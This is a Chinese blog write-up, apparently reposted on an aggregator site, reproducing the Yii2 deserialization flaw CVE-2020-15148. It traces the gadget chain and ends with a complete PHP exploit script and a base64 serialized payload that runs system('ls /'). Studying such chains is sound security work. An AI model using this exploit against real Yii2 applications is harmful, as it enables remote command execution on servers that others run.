Yii2框架 反序列化漏洞复现(CVE

编程入门 行业动态 更新时间:2024-10-15 08:18:30

Yii2框架 反序列化<a href=https://www.elefans.com/category/jswz/34/1770270.html style=漏洞复现(CVE"/>

Yii2框架 反序列化漏洞复现(CVE

前言:

phpthink 的链子有点长 暂时先复现一下简单点的框架,跟着师傅们的思路学习一下,提高一下自己的代码审计能力,搞完这个复现 也该去学java了

源码地址:.0.37/yii-basic-app-2.0.37.tgz

该漏洞适用于YII2.0.38之前,用户如果可以控制unserialize的传入值,则可以进行远程代码执行。

环境用的是PHPstudy。 需要 修改config\web.php中cookieValidationKey为任意值,作为yii\web\Request::cookieValidationKey的加密值,不然会发送报错。

CVE-2020-15148漏洞复现

一般的反序列化链子 都会以魔术方法 __destruct 作为起点来找利用点   这个漏洞也是的。 全局搜索 __destruct ,对于这个魔术方法 有很多文件都有, 只能一个一个去找利用点 去探索了。

其实开查找 也挺方便的 直接 CTRL + 左键 ,最终找到 /vendor/yiisoft/yii2/db/BatchQueryResult.php  reset() 方法可以利用 这会又可以调用 _dataReader下的close方法。

class BatchQueryResult{private $_dataReader;public function __destruct(){// make sure cursor is closed$this->reset();}public function reset(){if ($this->_dataReader !== null) {$this->_dataReader->close();}$this->_dataReader = null;$this->_batch = null;$this->_value = null;$this->_key = null;}
}

而这里的 $_dataReader 是可控的 ,那么我们就可以联想到__call 方法,让_dataReader 成为一个类 去调用 __close() ,如果该类中没有__close 方法,就会自动调用__call方法。

__call : 在对象中调用一个不可访问方法时,__call会被调用。

继续 全局搜索__call ,找到   一条错误的链子( 可以跳过,直接去看我下面正确的链子)

错误的链子查找:

src\Codeception\Util\Maybe.php中的 __call方法()
    public function __call($method, $args){if ($this->val === null) {return new Maybe();}return call_user_func_array([$this->val, $method], $args);}

think : 这个 val 可控,但是我们调用的 close()方法是无参的 这里的 $method应该是 close方法,而$args  应该是空,所以 这条链子应该是用不了的 (如果我说错了,请各位师傅纠正我一下,因为我是真的菜)

正确的链子:

继续全局找 __call()  ,找到 src/Faker/Generator.php 可以看到:

    public function __call($method, $attributes){return $this->format($method, $attributes);}

跟进一下这个 $this ->format()

src/Faker/Generator.php

    public function format($formatter, $arguments = array()){return call_user_func_array($this->getFormatter($formatter), $arguments);}

call_user_func_array(callable $callback, array $args): mixed

把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。

这里是call_user_func_array直接出来了 ,跟进一下这个

$this->getFormatter($formatter)
    public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {return $this->formatters[$formatter];}foreach ($this->providers as $provider) {if (method_exists($provider, $formatter)) {$this->formatters[$formatter] = array($provider, $formatter);return $this->formatters[$formatter];}}throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));}

进入第一个 if 判断,如果 $this - > formatters[$formatter] 有值,就返回其值,

call_user_func_array的第二个 $arguments 的值,我们无法控制,默认为空数组,但是可以控制call_user_func_array的第一个参数,这样我们就可以通过它作为跳板去无参调用其它类的方法。

所以我们能够做到的只有两个办法,一个就是调用 yii2 中的无参方法,或者调用 原生类php 的类似 phpinfo() 这样的无参方法,但是肯定事不能RCE的,所以我们的思路是要调用Yii框架中的无参的 call_user_func_array 作为跳板 再次调用执行。

例如:

<?phpnamespace Foobar;class Foo {static public function test($name) {print "Hello world!\n";}
}call_user_func_array(array(new Foo, 'test'), array());# 调用 Foo类中的 test方法 输出 "hello world"
?>

但是有个问题, 无参的参数实在是太多了,一个一个找肯定费时费力,这就要学习一下其他师傅的高深只会,直接 用正则匹配来搜索含有 call_user_func_array的方法

全局搜索进行正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

找到 /vendor/yiisoft/yii2/rest/CreateAction.php     这样就一目了然了

    public function run(){if ($this->checkAccess) {call_user_func($this->checkAccess, $this->id);}return $this->prepareDataProvider();}

恰好恰好的是 ctrl +左键可以点击 check Access 和 id  刚好这两个值是可控的,那么链子就可以连上了!

总结一下此条链子的利用:

yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()

我的EXP:

<?php
namespace{      //控制器传参入口use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}namespace yii\db{use Faker\Generator;
class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader =new Generator();}}
}namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(), 'run']; #此处调用 IndexAction类中的 run方法}}
}namespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){   $this->checkAccess = 'system';$this->id = 'ls /';}}
}
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6NDoibHMgLyI7fWk6MTtzOjM6InJ1biI7fX19fQ

yii 2.0.37以后的版本更新的链子  上课摸鱼的时候再审,现在我要去搞java了..晚会再更后面版本的写到这里

总结:

链子还是挺短 挺简单的,就是需要灵活利用魔术方法,还有回调函数. 学到了

更多推荐

Yii2框架 反序列化漏洞复现(CVE

本文发布于:2024-02-11 19:59:43,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1683100.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   框架   序列化   CVE

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!